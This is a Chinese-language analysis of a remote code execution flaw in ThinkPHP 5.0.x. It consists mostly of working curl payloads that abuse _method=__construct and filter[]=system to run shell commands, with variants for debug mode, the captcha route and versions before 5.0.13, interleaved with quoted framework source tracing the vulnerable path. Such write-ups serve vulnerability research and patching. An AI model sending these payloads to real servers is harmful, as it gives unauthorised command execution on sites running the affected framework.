Thinkphp5.0.*之RCE漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14

需要开启debug版本:
payload1:
第一次执行system:
curl -v -d "_method=__construct&filter[]=system" "http://localhost/think/public/index.php?a=dir"

payload2:
第二次执行system:
curl -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al" http://localhost/think/public/index.php

不需要开启debug版本，但需要是完整版，很容易满足:
 curl -v -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=dir" "http://localhost/loudong/public/index.php?s=captcha&a=dir"

5.0.13之前比较特殊,既不需要开启debug,也不要求是完整版：
 curl -v -d "_method=__construct&filter[]=system&method=get" "http://localhost/loudong/public/index.php?s=index/index/index&a=dir"

1
2
3
4

.................................
// 表单请求类型伪装变量
'var_method'             => '_method',
.................................

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) { // 相当于 $_POST['_method']
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }

1
2
3
4
5
6
7
8
9
10
11
12
13
14

protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }

        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->mergeParam)) {
            $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
            $this->mergeParam = true;
        }
        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
            return $this->input($data, '', $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }

1
2
3
4
5
6
7
8
9
10
11

public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
        //在当前payload下，第一次执行该方法时，$this->server= ['REQUEST_METHOD' => 'dir']
        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

public function input($data = [], $name = '', $default = null, $filter = '')
   {
       ...................................
       // 解析过滤器
       $filter = $this->getFilter($filter, $default);

       if (is_array($data)) {
           array_walk_recursive($data, [$this, 'filterValue'], $filter);
           reset($data);
       } else {
           $this->filterValue($data, $name, $filter);
       }

     ..............................................
   }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;
        return $filter;
    }

1

curl -d "_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al" http://localhost/think/public/index.php

1
2
3
4
5

public function param($name = '', $default = null, $filter = '')
    {
      .........................................
        return $this->input($this->param, $name, $default, $filter);
    }

1

curl -d "_method=__construct&filter[]=system" http://localhost/think/public/index.php?a=dir

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

public static function run(Request $request = null)
    {
        $request = is_null($request) ? Request::instance() : $request;

        try {
            $config = self::initCommon();

            // 模块/控制器绑定
            if (defined('BIND_MODULE')) {
                BIND_MODULE && Route::bind(BIND_MODULE);
            } elseif ($config['auto_bind_module']) {
                // 入口自动绑定
                $name = pathinfo($request->baseFile(), PATHINFO_FILENAME);
                if ($name && 'index' != $name && is_dir(APP_PATH . $name)) {
                    Route::bind($name);
                }
            }

            $request->filter($config['default_filter']);

            // 默认语言
            Lang::range($config['default_lang']);
            // 开启多语言机制 检测当前语言
            $config['lang_switch_on'] && Lang::detect();
            $request->langset(Lang::range());

            // 加载系统语言包
            Lang::load([
                THINK_PATH . 'lang' . DS . $request->langset() . EXT,
                APP_PATH . 'lang' . DS . $request->langset() . EXT,
            ]);

            // 监听 app_dispatch
            Hook::listen('app_dispatch', self::$dispatch);
            // 获取应用调度信息
            $dispatch = self::$dispatch;

            // 未设置调度信息则进行 URL 路由检测
            if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);
            }

            // 记录当前调度信息
            $request->dispatch($dispatch);

            // 记录路由和请求信息
            if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

            // 监听 app_begin
            Hook::listen('app_begin', $dispatch);

            // 请求缓存检查
            $request->cache(
                $config['request_cache'],
                $config['request_cache_expire'],
                $config['request_cache_except']
            );

            $data = self::exec($dispatch, $config);
        } catch (HttpResponseException $exception) {
            $data = $exception->getResponse();
        }

        // 清空类的实例化
        Loader::clearInstance();

        // 输出数据到客户端
        if ($data instanceof Response) {
            $response = $data;
        } elseif (!is_null($data)) {
            // 默认自动识别响应输出类型
            $type = $request->isAjax() ?
            Config::get('default_ajax_return') :
            Config::get('default_return_type');

            $response = Response::create($data, $type);
        } else {
            $response = Response::create();
        }

        // 监听 app_end
        Hook::listen('app_end', $response);

        return $response;
    }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

public static function routeCheck($request, array $config)
    {
        //path 可通过s参数获得
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        // 路由检测
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 开启路由
            if (is_file(RUNTIME_PATH . 'route.php')) {
                // 读取路由缓存
                $rules = include RUNTIME_PATH . 'route.php';
                is_array($rules) && Route::rules($rules);
            } else {
                $files = $config['route_config_file'];
                foreach ($files as $file) {
                    if (is_file(CONF_PATH . $file . CONF_EXT)) {
                        // 导入路由配置
                        $rules = include CONF_PATH . $file . CONF_EXT;
                        is_array($rules) && Route::import($rules);
                    }
                }
            }

            // 路由检测（根据路由定义返回不同的URL调度）
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }

        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }

        return $result;
    }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

public static function check($request, $url, $depr = '/', $checkDomain = false)
    {
       。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
        $method = strtolower($request->method());
        // 获取当前请求类型的路由规则
        $rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
        // 检测域名部署
        if ($checkDomain) {
            self::checkDomain($request, $rules, $method);
        }
        // 检测URL绑定
        $return = self::checkUrlBind($url, $rules, $depr);
        if (false !== $return) {
            return $return;
        }
        if ('|' != $url) {
            $url = rtrim($url, '|');
        }
        $item = str_replace('|', '/', $url);
        if (isset($rules[$item])) {
            // 静态路由规则检测
            $rule = $rules[$item];
            if (true === $rule) {
                $rule = self::getRouteExpress($item);
            }
            if (!empty($rule['route']) && self::checkOption($rule['option'], $request)) {
                self::setOption($rule['option']);
                return self::parseRule($item, $rule['route'], $url, $rule['option']);
            }
        }

        // 路由规则检测
        if (!empty($rules)) {
            return self::checkRoute($request, $rules, $url, $depr);
        }
        return false;
    }

1
2
3
4

// 路由规则检测
        if (!empty($rules)) {
            return self::checkRoute($request, $rules, $url, $depr);
        }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

private static function checkRoute($request, $rules, $url, $depr = '/', $group = '', $options = [])
    {
        foreach ($rules as $key => $item) {
            if (true === $item) {
                $item = self::getRouteExpress($key);
            }
            if (!isset($item['rule'])) {
                continue;
            }
            $rule    = $item['rule'];
            $route   = $item['route'];
            $vars    = $item['var'];
            $option  = $item['option'];
            $pattern = $item['pattern'];

            // 检查参数有效性
            if (!self::checkOption($option, $request)) {
                continue;
            }

            if (isset($option['ext'])) {
                // 路由ext参数 优先于系统配置的URL伪静态后缀参数
                $url = preg_replace('/.' . $request->ext() . '$/i', '', $url);
            }

            if (is_array($rule)) {
                // 分组路由
                $pos = strpos(str_replace('<', ':', $key), ':');
                if (false !== $pos) {
                    $str = substr($key, 0, $pos);
                } else {
                    $str = $key;
                }
                if (is_string($str) && $str && 0 !== stripos(str_replace('|', '/', $url), $str)) {
                    continue;
                }
                self::setOption($option);
                $result = self::checkRoute($request, $rule, $url, $depr, $key, $option);
                if (false !== $result) {
                    return $result;
                }
            } elseif ($route) {
                if ('__miss__' == $rule || '__auto__' == $rule) {
                    // 指定特殊路由
                    $var    = trim($rule, '__');
                    ${$var} = $item;
                    continue;
                }
                if ($group) {
                    $rule = $group . ($rule ? '/' . ltrim($rule, '/') : '');
                }

                self::setOption($option);
                if (isset($options['bind_model']) && isset($option['bind_model'])) {
                    $option['bind_model'] = array_merge($options['bind_model'], $option['bind_model']);
                }
                $result = self::checkRule($rule, $route, $url, $pattern, $option, $depr);
                if (false !== $result) {
                    return $result;
                }
            }
        }
        if (isset($auto)) {
            // 自动解析URL地址
            return self::parseUrl($auto['route'] . '/' . $url, $depr);
        } elseif (isset($miss)) {
            // 未匹配所有路由的路由规则处理
            return self::parseRule('', $miss['route'], $url, $miss['option']);
        }
        return false;
    }

1
2
3
4
5
6
7
8

<?php
thinkRoute::get('captcha/[:id]', "\think\captcha\CaptchaController@index");

thinkValidate::extend('captcha', function ($value, $id = "") {
    return captcha_check($value, $id, (array)thinkConfig::get('captcha'));
});

thinkValidate::setTypeMsg('captcha', '验证码错误!');

1

curl -v -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=dir" "http://localhost/loudong/public/index.php?s=captcha&a=dir"